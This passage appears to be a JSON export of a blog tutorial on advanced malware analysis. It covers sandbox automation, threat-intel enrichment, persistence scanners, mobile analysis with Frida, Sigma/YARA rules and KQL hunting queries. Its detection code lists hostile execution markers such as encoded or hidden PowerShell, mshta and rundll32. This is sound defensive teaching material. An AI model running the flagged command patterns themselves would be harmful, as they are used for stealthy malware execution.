     # Wait for analysis completion\n        # ... (implement polling logic)\n        \n        # Retrieve report\n        report_cmd = &#91;\"cuckoo\", \"report\", str(task_id)]\n        report = subprocess.run(report_cmd, capture_output=True, text=True)\n        return json.loads(report.stdout)<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Integration with Threat Intelligence<\/h3>\n\n\n\n<p><strong>Threat Intel Enrichment<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class ThreatIntelligence:\n    def __init__(self, api_keys):\n        self.vt_api_key = api_keys.get('virustotal')\n        self.otx_api_key = api_keys.get('alienvault_otx')\n        self.misp_url = api_keys.get('misp_url')\n        self.misp_key = api_keys.get('misp_key')\n    \n    def check_virustotal(self, file_hash):\n        import requests\n        headers = {\"x-apikey\": self.vt_api_key}\n        url = f\"https:\/\/www.virustotal.com\/api\/v3\/files\/{file_hash}\"\n        \n        response = requests.get(url, headers=headers)\n        if response.status_code == 200:\n            data = response.json()\n            return {\n                \"detections\": data&#91;\"data\"]&#91;\"attributes\"]&#91;\"last_analysis_stats\"],\n                \"names\": data&#91;\"data\"]&#91;\"attributes\"]&#91;\"names\"],\n                \"first_seen\": data&#91;\"data\"]&#91;\"attributes\"]&#91;\"first_submission_date\"]\n            }\n        return None\n    \n    def check_otx_pulses(self, indicator):\n        from OTXv2 import OTXv2\n        otx = OTXv2(self.otx_api_key)\n        \n        pulses = otx.get_indicator_details_full(indicator_type='file', \n                                               indicator=indicator)\n        return {\n            \"pulse_count\": len(pulses&#91;\"general\"]&#91;\"pulse_info\"]&#91;\"pulses\"]),\n            \"pulses\": pulses&#91;\"general\"]&#91;\"pulse_info\"]&#91;\"pulses\"]&#91;:5]  # Top 5\n        }\n    \n    def submit_to_misp(self, analysis_results):\n        from pymisp import PyMISP, MISPEvent, MISPObject\n        \n        misp = PyMISP(self.misp_url, self.misp_key)\n        event = MISPEvent()\n        event.info = f\"Automated Analysis: {analysis_results&#91;'hash']}\"\n        event.threat_level_id = 2  # Medium\n        event.analysis = 2  # Completed\n        \n        # Add file object\n        file_obj = MISPObject('file')\n        file_obj.add_attribute('sha256', value=analysis_results&#91;'hash'])\n        file_obj.add_attribute('filename', value=analysis_results.get('filename', 'unknown'))\n        \n        # Add network indicators\n        for domain in analysis_results.get('contacted_domains', &#91;]):\n            event.add_attribute('domain', domain)\n        \n        event.add_object(file_obj)\n        result = misp.add_event(event)\n        return result<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Automated Reporting<\/h3>\n\n\n\n<p><strong>Report Generation<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from jinja2 import Template\nimport pdfkit\n\nclass ReportGenerator:\n    def __init__(self, template_path):\n        with open(template_path, 'r') as f:\n            self.template = Template(f.read())\n    \n    def generate_html_report(self, analysis_results):\n        html_content = self.template.render(\n            sample=analysis_results,\n            timestamp=datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n            analyst=\"Automated Analysis System\"\n        )\n        return html_content\n    \n    def generate_pdf_report(self, analysis_results, output_path):\n        html_content = self.generate_html_report(analysis_results)\n        \n        options = {\n            'page-size': 'A4',\n            'margin-top': '0.75in',\n            'margin-right': '0.75in',\n            'margin-bottom': '0.75in',\n            'margin-left': '0.75in',\n            'encoding': \"UTF-8\",\n            'no-outline': None\n        }\n        \n        pdfkit.from_string(html_content, output_path, options=options)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"persistence\">8. Advanced Persistence Mechanism Analysis<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Registry Persistence<\/h3>\n\n\n\n<p><strong>Common Registry Locations<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Registry monitoring script\nimport winreg\n\nPERSISTENCE_KEYS = &#91;\n    (winreg.HKEY_CURRENT_USER, r\"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"),\n    (winreg.HKEY_LOCAL_MACHINE, r\"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"),\n    (winreg.HKEY_CURRENT_USER, r\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"),\n    (winreg.HKEY_LOCAL_MACHINE, r\"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"),\n    (winreg.HKEY_LOCAL_MACHINE, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices\"),\n    (winreg.HKEY_LOCAL_MACHINE, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\"),\n    # Image File Execution Options (IFEO)\n    (winreg.HKEY_LOCAL_MACHINE, r\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\"),\n    # AppInit_DLLs\n    (winreg.HKEY_LOCAL_MACHINE, r\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\"),\n    # Winlogon\n    (winreg.HKEY_LOCAL_MACHINE, r\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"),\n]\n\ndef scan_persistence_registry():\n    findings = &#91;]\n    \n    for hive, key_path in PERSISTENCE_KEYS:\n        try:\n            key = winreg.OpenKey(hive, key_path, 0, winreg.KEY_READ)\n            \n            i = 0\n            while True:\n                try:\n                    name, value, type = winreg.EnumValue(key, i)\n                    findings.append({\n                        \"hive\": hive,\n                        \"key\": key_path,\n                        \"name\": name,\n                        \"value\": value,\n                        \"suspicious\": analyze_suspicious_entry(name, value)\n                    })\n                    i += 1\n                except WindowsError:\n                    break\n                    \n            winreg.CloseKey(key)\n        except Exception as e:\n            continue\n    \n    return findings\n\ndef analyze_suspicious_entry(name, value):\n    suspicious_indicators = &#91;\n        \"powershell\",\n        \"cmd.exe \/c\",\n        \"wscript\",\n        \"mshta\",\n        \"rundll32\",\n        \"regsvr32\",\n        \"-enc\",\n        \"-nop\",\n        \"-w hidden\",\n        \"http:\/\/\",\n        \"https:\/\/\",\n        \".ps1\",\n        \".vbs\",\n        \".js\"\n    ]\n    \n    value_lower = value.lower()\n    return any(indicator in value_lower for indicator in suspicious_indicators)<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Scheduled Task Persistence<\/h3>\n\n\n\n<p><strong>Analyzing Scheduled Tasks<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># PowerShell script to examine scheduled tasks\n$suspiciousTasks = Get-ScheduledTask | Where-Object {\n    $_.Actions.Execute -match 'powershell|cmd|wscript|mshta|rundll32' -or\n    $_.Actions.Arguments -match '-enc|-nop|hidden|http'\n} | Select-Object TaskName, TaskPath, State, Author, Date, Actions\n\n# Export detailed task information\nforeach ($task in $suspiciousTasks) {\n    $taskInfo = Get-ScheduledTaskInfo -TaskName $task.TaskName\n    $task | Add-Member -NotePropertyName LastRunTime -NotePropertyValue $taskInfo.LastRunTime\n    $task | Add-Member -NotePropertyName NextRunTime -NotePropertyValue $taskInfo.NextRunTime\n    \n    # Export task XML for analysis\n    Export-ScheduledTask -TaskName $task.TaskName | \n        Out-File \"C:\\Analysis\\Tasks\\$($task.TaskName).xml\"\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Service-Based Persistence<\/h3>\n\n\n\n<p><strong>Service Analysis<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import wmi\nimport subprocess\n\ndef analyze_services():\n    c = wmi.WMI()\n    suspicious_services = &#91;]\n    \n    for service in c.Win32_Service():\n        # Check for suspicious characteristics\n        if any(&#91;\n            not service.PathName,\n            service.PathName and 'temp' in service.PathName.lower(),\n            service.PathName and 'appdata' in service.PathName.lower(),\n            service.PathName and any(sus in service.PathName.lower() \n                for sus in &#91;'powershell', 'cmd.exe', 'wscript']),\n            service.StartName and service.StartName.lower() not in \n                &#91;'localsystem', 'nt authority\\\\system', 'nt authority\\\\localservice', \n                 'nt authority\\\\networkservice']\n        ]):\n            suspicious_services.append({\n                'name': service.Name,\n                'display_name': service.DisplayName,\n                'path': service.PathName,\n                'start_type': service.StartMode,\n                'account': service.StartName,\n                'state': service.State,\n                'description': service.Description\n            })\n    \n    return suspicious_services\n\n# Check for service DLL hijacking\ndef check_service_dll_hijacking():\n    # Query services that load DLLs\n    output = subprocess.check_output(&#91;\n        'wmic', 'service', 'where', \n        \"PathName like '%svchost.exe%'\", \n        'get', 'Name,PathName,ProcessId'\n    ], text=True)\n    \n    # Check each svchost service's loaded DLLs\n    # ... (implementation details)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"mobile-malware\">9. Mobile Malware Analysis Fundamentals<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Android Malware Analysis<\/h3>\n\n\n\n<p><strong>Setting Up Android Analysis Environment<\/strong>:<\/p>\n\n\n\n<p><strong>1. Android Virtual Device (AVD)<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Create AVD with Google APIs (for Play Services)\navdmanager create avd -n malware_analysis -k \"system-images;android-29;google_apis;x86\"\n\n# Start emulator with writable system\nemulator -avd malware_analysis -writable-system -no-snapshot<\/code><\/pre>\n\n\n\n<p><strong>2. Essential Tools<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>jadx: DEX to Java decompiler<\/li>\n\n\n\n<li>apktool: APK reverse engineering<\/li>\n\n\n\n<li>Frida: Dynamic instrumentation<\/li>\n\n\n\n<li>MobSF: Mobile Security Framework<\/li>\n<\/ul>\n\n\n\n<p><strong>Static Analysis Workflow<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Extract APK contents\napktool d malicious.apk -o malicious_decoded\/\n\n# Examine AndroidManifest.xml\ncat malicious_decoded\/AndroidManifest.xml | grep -E \"permission|service|receiver\"\n\n# Decompile to Java\njadx malicious.apk -d jadx_output\/\n\n# Search for suspicious patterns\ngrep -r \"exec\\|Runtime\\|ProcessBuilder\" jadx_output\/\ngrep -r \"DexClassLoader\\|PathClassLoader\" jadx_output\/\ngrep -r \"android.permission.SEND_SMS\" jadx_output\/<\/code><\/pre>\n\n\n\n<p><strong>Dynamic Analysis with Frida<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Frida script to monitor sensitive API calls\nJava.perform(function() {\n    \/\/ Monitor SMS sending\n    var SmsManager = Java.use('android.telephony.SmsManager');\n    SmsManager.sendTextMessage.implementation = function(dest, sc, text, pi, di) {\n        console.log('&#91;SMS] Destination: ' + dest);\n        console.log('&#91;SMS] Text: ' + text);\n        \/\/ Call original method\n        return this.sendTextMessage(dest, sc, text, pi, di);\n    };\n    \n    \/\/ Monitor file access\n    var File = Java.use('java.io.File');\n    File.$init.overload('java.lang.String').implementation = function(path) {\n        console.log('&#91;File] Accessing: ' + path);\n        return this.$init(path);\n    };\n    \n    \/\/ Monitor network connections\n    var URL = Java.use('java.net.URL');\n    URL.openConnection.implementation = function() {\n        console.log('&#91;Network] Connecting to: ' + this.toString());\n        return this.openConnection();\n    };\n});<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">iOS Malware Analysis<\/h3>\n\n\n\n<p><strong>Jailbroken Device Setup<\/strong>:<\/p>\n\n\n\n<p><strong>1. Essential Cydia Tools<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Frida<\/li>\n\n\n\n<li>SSL Kill Switch 2<\/li>\n\n\n\n<li>dumpdecrypted<\/li>\n\n\n\n<li>class-dump<\/li>\n<\/ul>\n\n\n\n<p><strong>2. Binary Analysis<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Decrypt IPA\n.\/dumpdecrypted.dylib MaliciousApp\n\n# Extract class information\nclass-dump -H MaliciousApp -o headers\/\n\n# Check for suspicious frameworks\notool -L MaliciousApp | grep -v \"\/System\"<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"threat-hunting\">10. Threat Hunting with Analysis Results<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Creating Detection Rules<\/h3>\n\n\n\n<p><strong>Sigma Rules from Analysis<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>title: Ransomware File Encryption Activity\nid: a1b2c3d4-5678-9012-3456-789012345678\nstatus: experimental\ndescription: Detects mass file encryption typical of ransomware\nauthor: Security Analyst\ndate: 2024\/01\/01\nlogsource:\n    product: windows\n    service: sysmon\ndetection:\n    selection:\n        EventID: 11  # File creation\n        TargetFilename|endswith:\n            - '.locked'\n            - '.encrypted'\n            - '.crypto'\n    timeframe: 10s\n    condition: selection | count() &gt; 100\nfalsepositives:\n    - Legitimate encryption software\nlevel: high<\/code><\/pre>\n\n\n\n<p><strong>Converting to YARA<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>rule Ransomware_Encryption_Routine {\n    meta:\n        description = \"Detects ransomware encryption functions\"\n        author = \"Analysis Team\"\n        date = \"2024-01-01\"\n        \n    strings:\n        $api1 = \"CryptGenRandom\"\n        $api2 = \"CryptEncrypt\"\n        $api3 = \"CryptAcquireContext\"\n        $str1 = \"Your files have been encrypted\"\n        $str2 = \".locked\"\n        $pattern = {48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 85 C0}\n        \n    condition:\n        uint16(0) == 0x5A4D and\n        all of ($api*) and\n        any of ($str*) and\n        $pattern\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Threat Hunting Queries<\/h3>\n\n\n\n<p><strong>KQL Queries for Threat Hunting<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Process injection detection\nDeviceProcessEvents\n| where Timestamp &gt; ago(24h)\n| where FileName in~ (\"notepad.exe\", \"calc.exe\", \"svchost.exe\")\n| where InitiatingProcessFileName !in~ (\"services.exe\", \"winlogon.exe\")\n| project Timestamp, DeviceName, FileName, ProcessCommandLine, \n         InitiatingProcessFileName, InitiatingProcessCommandLine\n| where ProcessCommandLine contains \"powershell\" or \n        ProcessCommandLine contains \"cmd\"\n\n\/\/ Suspicious PowerShell execution\nDeviceProcessEvents\n| where Timestamp &gt; ago(7d)\n| where FileName =~ \"powershell.exe\"\n| where ProcessCommandLine contains \"-enc\" or \n        ProcessCommandLine contains \"-nop\" or\n        ProcessCommandLine contains \"-w hidden\"\n| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName\n| summarize Count = count() by DeviceName, bin(Timestamp, 1h)\n| where Count &gt; 10<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Incident Response Integration<\/h3>\n\n\n\n<p><strong>Automated Response Playbook<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>class IncidentResponseAutomation:\n    def __init__(self, analysis_results):\n        self.results = analysis_results\n        self.ioc_list = self.extract_iocs()\n        \n    def extract_iocs(self):\n        iocs = {\n            'file_hashes': &#91;],\n            'domains': &#91;],\n            'ip_addresses': &#91;],\n            'file_paths': &#91;],\n            'registry_keys': &#91;],\n            'mutexes': &#91;]\n        }\n        \n        # Extract from analysis results\n        # ... (parsing logic)\n        \n        return iocs\n    \n    def block_network_iocs(self):\n        # Update firewall rules\n        for domain in self.ioc_list&#91;'domains']:\n            subprocess.run(&#91;'netsh', 'advfirewall', 'firewall', 'add', 'rule',\n                          f'name=\"Block {domain}\"', 'dir=out', 'action=block',\n                          f'remoteip={domain}'])\n        \n        # Update DNS blackhole\n        with open('\/etc\/bind\/blackhole.conf', 'a') as f:\n            for domain in self.ioc_list&#91;'domains']:\n                f.write(f'zone \"{domain}\" {{ type master; file \"\/etc\/bind\/db.blackhole\"; }};\\n')\n    \n    def deploy_yara_rules(self):\n        # Generate YARA rule from analysis\n        rule = self.generate_yara_rule()\n        \n        # Deploy to endpoints\n        # ... (deployment logic)\n    \n    def create_investigation_timeline(self):\n        timeline = &#91;]\n        \n        # Process creation events\n        for event in self.results.get('process_events', &#91;]):\n            timeline.append({\n                'timestamp': event&#91;'timestamp'],\n                'type': 'process_creation',\n                'details': event\n            })\n        \n        # Network events\n        for event in self.results.get('network_events', &#91;]):\n            timeline.append({\n                'timestamp': event&#91;'timestamp'],\n                'type': 'network_connection',\n                'details': event\n            })\n        \n        # Sort by timestamp\n        timeline.sort(key=lambda x: x&#91;'timestamp'])\n        \n        return timeline<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<p>This lesson has covered advanced malware analysis techniques including:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Advanced unpacking and deobfuscation methods<\/strong><\/li>\n\n\n\n<li><strong>Cryptographic function reverse engineering<\/strong><\/li>\n\n\n\n<li><strong>Sophisticated injection technique analysis<\/strong><\/li>\n\n\n\n<li><strong>Fileless malware investigation<\/strong><\/li>\n\n\n\n<li><strong>C2 protocol reverse engineering<\/strong><\/li>\n\n\n\n<li><strong>Practical ransomware case study<\/strong><\/li>\n\n\n\n<li><strong>Automation pipeline development<\/strong><\/li>\n\n\n\n<li><strong>Persistence mechanism analysis<\/strong><\/li>\n\n\n\n<li><strong>Mobile malware fundamentals<\/strong><\/li>\n\n\n\n<li><strong>Threat hunting integration<\/strong><\/li>\n<\/ol>\n\n\n\n<p>These techniques build upon the fundamentals from Lesson 1, providing security professionals with practical skills for analyzing sophisticated threats. Remember that malware analysis is an evolving field, continually update your skills and tools to keep pace with emerging threats.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Key Takeaways<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Automation is Essential<\/strong>: Build repeatable processes to handle the volume of threats<\/li>\n\n\n\n<li><strong>Context Matters<\/strong>: Understanding the full attack chain is more valuable than isolated IOCs<\/li>\n\n\n\n<li><strong>Share Intelligence<\/strong>: Contributing to the security community strengthens collective defense<\/li>\n\n\n\n<li><strong>Continuous Learning<\/strong>: New techniques emerge constantly - stay current with research<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">What's next?<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Practice with malware analysis challenges and CTFs<\/li>\n\n\n\n<li>Contribute to open-source security projects<\/li>\n\n\n\n<li>Share findings with the security community<\/li>\n\n\n\n<li>Build relationships with other analysts<\/li>\n<\/ul>\n\n\n\n<p>Remember: The goal is always to improve defenses and protect systems, not to enable malicious activities.<\/p>\n\n\n<p><\/body><br \/>\n<\/html><\/p>","protected":false},"excerpt":{"rendered":"<p>1. Advanced Static Analysis: Unpacking and Deobfuscation Understanding Packers Packers compress and encrypt executable files to evade detection and analysis.&#46;&#46;&#46;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1,6],"tags":[],"class_list":["post-323","post","type-post","status-publish","format-standard","hentry","category-blog","category-infosec"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/posts\/323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/comments?post=323"}],"version-history":[{"count":3,"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions"}],"predecessor-version":[{"id":350,"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions\/350"}],"wp:attachment":[{"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/media?parent=323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/categories?post=323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/siyaz.tech\/index.php\/wp-json\/wp\/v2\/tags?post=323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}